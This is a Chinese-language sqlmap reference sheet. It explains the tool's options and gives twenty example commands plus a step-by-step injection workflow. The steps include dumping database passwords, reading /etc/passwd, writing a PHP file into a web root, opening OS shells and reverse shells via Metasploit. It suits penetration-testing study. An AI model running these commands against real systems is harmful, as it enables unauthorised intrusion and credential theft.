以前整理的 方便查閱 有錯誤的指出
-u #注入點
-f #指紋判別數據庫類型
-b #獲取數據庫版本信息
-p #指定可測試的參數(?page=1&id=2 -p “page,id”)
-D “” #指定數據庫名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入過程到一個文件,還可中斷,下次恢復在注入(保存:-s “xx.log” 恢復:-s “xx.log” –resume)
–columns #列出字段
–current-user #獲取當前用戶名稱
–current-db #獲取當前數據庫名稱
–users #列數據庫所有用戶
–passwords #數據庫用戶所有密碼
–privileges #查看用戶權限(–privileges -U root)
-U #指定數據庫用戶
–dbs #列出所有數據庫
–tables -D “” #列出指定數據庫中的表
–columns -T “user” -D “mysql” #列出mysql數據庫中的user表的所有字段
–dump-all #列出所有數據庫所有表
–exclude-sysdbs #只列出用戶自己新建的數據庫和表
–dump -T “” -D “” -C “” #列出指定數據庫的表的字段的數據(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定數據庫的表的2-4字段的數據
–dbms #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系統(Linux,Windows)
-v #詳細的等級(0-6)
0:只顯示Python的回溯,錯誤和關鍵消息。
1:顯示信息和警告消息。
2:顯示調試消息。
3:有效載荷注入。
4:顯示HTTP請求。
5:顯示HTTP響應頭。
6:顯示HTTP響應頁面的內容
–privileges #查看權限
–is-dba #是否是數據庫管理員
–roles #枚舉數據庫用戶角色
–udf-inject #導入用戶自定義函數(獲取系統權限)
–union-check #是否支持union 注入
–union-cols #union 查詢表記錄
–union-test #union 語句測試
–union-use #采用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “” #POST方式提交數據(–method “POST” –data “page=1&id=2″)
–cookie “用;號分開” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺騙(–referer “http://www.baidu.com”)
–user-agent “” #自定義user-agent
–proxy “http://127.0.0.1:8118″ #代理注入
–string “” #指定關鍵詞
–threads #采用多線程(–threads 3)
–sql-shell #執行指定sql命令
–sql-query #執行指定的sql語句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )
–file-read #讀取指定文件
–file-write #寫入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;將本地的test.txt文件寫入到目標的1.txt)
–file-dest #要寫入的文件絕對路徑
–os-cmd=id #執行系統命令
–os-shell #系統交互shell
–os-pwn #反彈shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit絕對路徑(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #讀取win系統注冊表
–priv-esc #
–time-sec= #延遲設置 默認–time-sec=5 為5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用語句
1.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0
2.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –passwords -U root –union-use -v 2
3.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2
4.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –dump -C “user,pass” -v 1 –exclude-sysdbs
5.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –sql-shell -v 2
6.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –file-read “c:\boot.ini” -v 2
7.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2
8.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-cmd “id” -v 1
9.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-shell –union-use -v 2
10.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 –priv-esc -v 1
11.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1
12.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1
13.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 –reg-add –reg-key=”HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1
14.
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –eta
15.
./sqlmap.py -u “http://www.91ri.org/ sqlmap/mysql/get_str_brackets.php?id=1″ -p id –prefix “‘)” –suffix “AND (‘abc’='abc”
16.
./sqlmap.py -u “http://www.91ri.org/ sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass”
17.
./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”
18.
./sqlmap.py -u “http://www.91ri.org/ sqlmap/mysql/get_int.php?id=1″ –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19.
./sqlmap.py -u “http://www.91ri.org/ sqlmap/mssql/get_int.php?id=1″ –sql-query “SELECT ‘foo’” -v 1
20.
./sqlmap.py -u “http://www.91ri.org/ mysql/get_int_4.php?id=1″ –common-tables -D testdb –banner
簡單的注入流程
1.讀取數據庫版本,當前用戶,當前數據庫
sqlmap -u http://www.91ri.org/ test.php?p=2 -f -b –current-user –current-db -v 1
2.判斷當前數據庫用戶權限
sqlmap -u http://www.91ri.org/ test.php?p=2 –privileges -U 用戶名 -v 1
sqlmap -u http://www.91ri.org/ test.php?p=2 –is-dba -U 用戶名 -v 1
3.讀取所有數據庫用戶或指定數據庫用戶的密碼
sqlmap -u http://www.91ri.org/ test.php?p=2 –users –passwords -v 2
sqlmap -u http://www.91ri.org/ test.php?p=2 –passwords -U root -v 2
4.獲取所有數據庫
sqlmap -u http://www.91ri.org/ test.php?p=2 –dbs -v 2
5.獲取指定數據庫中的所有表
sqlmap -u http://www.91ri.org/ test.php?p=2 –tables -D mysql -v 2
6.獲取指定數據庫名中指定表的字段
sqlmap -u http://www.91ri.org/ test.php?p=2 –columns -D mysql -T users -v 2
7.獲取指定數據庫名中指定表中指定字段的數據
sqlmap -u http://www.91ri.org/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2
8.file-read讀取web文件
sqlmap -u http://www.91ri.org/ test.php?p=2 –file-read “/etc/passwd” -v 2
9.file-write寫入文件到web
sqlmap -u http://www.91ri.org/ test.php?p=2 –file-write /localhost/mm.php –file-dest /var/www/html/xx.php -v 2
